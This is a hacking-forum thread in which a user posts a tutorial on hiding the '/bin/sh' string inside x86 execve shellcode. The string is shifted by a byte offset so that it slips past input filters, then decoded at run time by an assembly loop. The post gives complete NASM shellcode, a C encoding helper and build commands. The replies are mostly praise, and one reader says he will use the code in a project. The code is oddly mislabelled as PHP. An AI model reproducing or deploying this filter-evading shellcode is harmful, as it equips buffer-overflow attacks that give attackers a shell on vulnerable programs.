

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] ~ Encoding Strings Polymorphic /bin/sh Local BOF Shellcode](#)

Goodies - February 12, 2014, 12:23 am

Hello everyone!

I feel like it's been a while since I've written a shellcoding tutorial so I think I'll write one now :)

Today we're going to go over what will happen in the VERY high chance of a program filtering input from our /bin/sh shellcode.

For example, if a program disallows any slashes (/) or simply the word "/bin", "/sh", "/bin/sh", our previous shellcode is useless. So today I'm going to show you a fairly simple, yet ingenious, way of manually encoding your shellcode to bypass these filtrations.

What exactly are we going to do?

By now, you should know that each individual character has an ASCII (represented in hex) value. For example:

```
/ = 0x2f
b = 0x62
i = 0x69
n = 0x6e
/ = 0x2f
s = 0x73
h = 0x68
/bin/sh = 2f62696e2f7368
```

Well, let's say that this is blocked by our C program due to filtration or some other BOF mitigation via string filtration. We need to circumvent this.

Let's take a look at our previous BOF code:

PHP Code

```
<?php
```

```
SECTION .data
```

```
    global _start
```

```
_start: jmp j
```

```
r:
```

```
    pop ebx
```

```
    xor eax, eax
```

```
    mov BYTE [ebx+7], al
```

```
    mov DWORD [ebx+8], ebx
```

```
    mov DWORD [ebx+12], eax
```

```
    mov al, 11d
```

```
    lea ecx, [ebx+8]
```

```
    lea edx, [ebx+12]
```

```
    int 80h
```

```
j:    call r
```

```
shell: db "/bin/sh"
```

This is the base code that we will be using, however, we still need to encode our string so that it will not be detected by our protection.

What we can do is manually offset each of these so that the hex value will be completely different.

I don't know about you, but that sounds like hella tedious work, so let's write a C program to do it for us :P

This is the C file I wrote. Basically, it will allocate memory in the heap (so I'm not vulnerable to the very attack I'm showing you to exploit) and having the user input their own variables.

```
shift.c
PHP Code
<?php
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv){
    char *c;
    c = calloc(50, sizeof(char));
    if(!c) exit(-1);

    int *i;
    i = calloc(1, sizeof(int));
    if(!i) exit(-1);

    printf("\nString: ");
    scanf("%50s", c);

    printf("Offset: ");
    scanf("%d", i);

    unsigned short s, t, len;
    len=strlen(c);
    printf("Hex Value: ");
    for(s=0;s<len;s++){
        c[s]+=*i;
        printf("%02x", c[s]);
    }
    printf("\nString Value: %s\n\n", c);
    return 0;
}
```

Example:

Okay,so, long story short, I wrote this simply to offset each character in a string and show the hexadecimal value. I chose to put the string value there, but the reality is, it may not end up being inside the ASCII range which comes up as a question mark. I just need the HEX version to put in the ASM file. We got luck this time, so we can use this string to keep in our BOF shellcode.

Alright, yay. We got that done. However, now we need a way to "decode" this polymorphically

inside the shellcode. Take a look at our old code again with our new string in place.

Well, we didn't expect it to work, and we see that the EXECVE is still calling our string. However, there is no file called "2elq2vk" so it has nothing to do...

Now we are going to use ASM to manually decode these. What we are going to do is iterate through each character and decrement each one by 3 since our original offset was +3. Whatever your offset is, do the opposite.

+3 -> -3
-7 -> +7
+0xa -> -0xa
etc...

I'm only going to write our LOOP statement

PHP Code

```
<?php
```

```
mov cl, 7
```

```
loop:
```

```
    sub BYTE [ebx+ecx-1], 3
```

```
    dec cl
```

```
    jnz loop
```

mov cl, 7 - CL (lowest byte of the ECX register) will be our counter. There are 7 characters, so we will loop 7 times.

loop: - sets a label for us to jump to.

sub BYTE [ebx+ecx-1], 3 - subtracting 3 from the position of the string (which is in the EBX register) that CL is at. We have to add ECX because we cannot add differently sized types (CL and EBX)

dec cl - decrements the loop counter by 1

jnz loop - jump if not zero. This will jump as long as the number is not negative. When it is negative, it will no longer jump :)

Let's put this in our original BOF code:

PHP Code

```
<?php
```

```
SECTION .data
```

```
    global _start
```

```
_start: jmp j
```

```
r:
```

```
    pop ebx
```

```
    xor eax, eax
```

```
    mov BYTE [ebx+7], al
```

```
    mov DWORD[ebx+8], ebx
```

```
    mov DWORD[ebx+12], eax
```

```
    mov cl, 7
```

```
loop:
```

```
    sub BYTE [ebx+ecx-1], 3
```

```
    dec cl
```

```
    jnz loop
```

```
    mov al, 11d
```

```
    lea ecx, [ebx+8]
```

```
    lea edx, [ebx+12]
    int 80h
j:    call r
shell: db "2elq2vk"
```

We compile this:

```
nasm -f elf32 -o TEMP.o 32obfuscated.asm
ld -m elf_i386 -o exec TEMP.o
rm TEMP.o
```

32local - unobfuscated original binary

32obfuscated - the new code we wrote to decode this

Note the output for "Strings".

Let's get the shellcode from the opcode:

Notice the syntax I used was so that I would not have any \x00's in our shellcode.

We see that the obfuscated one is about 11 bytes larger than the original which is not that bad :)

We've now obfuscated a string in our shellcode!

Zapu - February 12, 2014, 2:11 pm

Can't wait to be good in ASM to understand these tutorials!

Nice job.

Goodies - February 12, 2014, 11:48 pm

(Feb 12, 2014 03:11 PM)Extrnl Wrote: [\[CITE\]](#) Can't wait to be good in ASM to understand these tutorials!

Nice job.

I promise you, if you break it down, line by line, it's not that hard :) PM me for sure!

DrDinosaur - February 13, 2014, 12:10 am

I can't understand any of this. Yay! Good job though :)

mudasir007 - February 13, 2014, 5:24 am

Nice tutorial mate, Will try it later when i get some time

Goodies - December 5, 2014, 10:46 pm

Anyone give a shit about this stuff? I may get back into it. I stopped for a while when my laptop got stolen, but I've had a new one for a while now and haven't gotten back into ASM.

grady - December 5, 2014, 10:50 pm

(Dec 5, 2014 11:46 PM)Goodies Wrote: [\[CITE\]](#) Anyone give a shit about this stuff? I may get back into it. I stopped for a while when my laptop got stolen, but I've had a new one for a while now and haven't gotten back into ASM.

I give a shit, it's more that I don't understand anything that's going on.

Although I don't really know WHY I'm reading a tutorial with ASM and etc without knowing jack

about ASM.

Goodies - December 5, 2014, 10:57 pm

(Dec 5, 2014 11:50 PM)?Infamy Wrote: [\[CITE\]](#) I give a shit, it's more that I don't understand anything that's going on.

Although I don't really know WHY I'm reading a tutorial with ASM and etc without knowing jack about ASM.

Aha. Getting into the basics of it is actually easier than people say. The more esoteric concepts are rather difficult, but I'm not quite there yet O.o

grady - December 5, 2014, 11:16 pm

(Dec 5, 2014 11:57 PM)Goodies Wrote: [\[CITE\]](#) Aha. Getting into the basics of it is actually easier than people say. The more esoteric concepts are rather difficult, but I'm not quite there yet O.o

I haven't really talked about getting into things like this with anyone truly.

The most was the tiny discussion I had with you and the other one with DrDinosaur.

I'm going to try to move into this type of thing, so what do you recommend I start with?

I'm sure learning about memory (heap, stack, etc.) and ASM will help.

c00perzz - December 5, 2014, 11:36 pm

(Dec 6, 2014 12:16 AM)?Infamy Wrote: [\[CITE\]](#) I haven't really talked about getting into things like this with anyone truly.

The most was the tiny discussion I had with you and the other one with DrDinosaur.

I'm going to try to move into this type of thing, so what do you recommend I start with?

I'm sure learning about memory (heap, stack, etc.) and ASM will help.+1

Would love a more entry level tutorial so we can follow up on this! I guess it goes way back to foundamendals?

grady - December 6, 2014, 12:10 am

(Dec 6, 2014 12:36 AM)c00perzz Wrote: [\[CITE\]](#) +1

Would love a more entry level tutorial so we can follow up on this! I guess it goes way back to foundamendals?

I'd love that, but this isn't really the place for a tutorial.

This is the "Advanced Hacking" sub forum, and should be treated as such.

I was asking him for topics for me to research, not having him/others spoonfeed me info.

(This isn't me ragging on you)

c00perzz - December 6, 2014, 1:17 am

(Dec 6, 2014 01:10 AM)?Infamy Wrote: [\[CITE\]](#) I'd love that, but this isn't really the place for a tutorial.

This is the "Advanced Hacking" sub forum, and should be treated as such.

I was asking him for topics for me to research, not having him/others spoonfeed me info.

(This isn't me ragging on you)

I understand what you are saying and i agree with you :) (btw im self taught so i dont want to be spoonfed either! Im seeking for info to read as well (even though a tutorial could be for research also)).

sorry for the offopic /me shuts up

TheCyb3rAlpha - December 17, 2014, 11:07 am

Very nice tutorial mate. Although i didn't understood anything about the ASM part but other then that, its lovely. +1 if i could.

Opak3 - December 24, 2014, 9:56 am

Now that was something really interesting!

Really good job OP.

Sure going to try this out as soon as I get rid of my exams ?

Got a few little doubts but I'm pretty sure re-reading would make everything clear. Can you link me to some quality references where I could read more about this?

Thanks again ?

SIM-1866423 - October 23, 2015, 4:39 pm

I will use that in my project. Pretty basic and neat codes thank you my lovely friend :)